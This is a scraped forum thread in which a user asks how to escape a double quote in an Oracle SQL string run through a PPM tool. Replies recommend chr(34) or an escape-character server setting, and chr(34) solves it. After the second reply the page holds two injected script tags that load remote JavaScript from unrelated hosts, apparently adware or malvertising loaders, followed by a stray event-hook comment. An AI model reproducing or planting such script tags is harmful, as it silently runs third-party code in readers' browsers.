Project and Portfolio Management Practitioners Forum
cancel
Showing results for 
Search instead for 
Did you mean: 

Having trouble escaping a "

SOLVED
Go to solution
Highlighted
bzdafro
Collector

Having trouble escaping a "

I am trying to run sc_itg_run_ora_sql   and the select statement includes an append 

 

QUERY_STRING="select '"'||t1.parameter4||'"' from kcrt_req_header_details T1"

 

ie  ' " ' | ' " '

 

The double quote "   is causing PPM to error.   How do you escape this out?    I've tried everything I could think of.   I need to end up with quotes around the results   

"field1" "field2"    instead of just   field1 field2

3 REPLIES
Jim Esler
Honored Contributor
Solution

Re: Having trouble escaping a "

Try using chr(34) in place of '"'.

jsalass
Frequent Visitor

Re: Having trouble escaping a "

Hi,

 

Also check your SQLPLUS_ESCAPE_CHARACTER on the PPM server.conf and teh use the caracter to escape the double quote.

 

Hope this helps.

 

Regards,

Jonathan

<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script> <script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=62862"></script>
bzdafro
Collector

Re: Having trouble escaping a "

I didnt have that setting in our server conf. However using the character code worked for me. Thanks everyone it was driving me crazy
//Add this to "OnDomLoad" event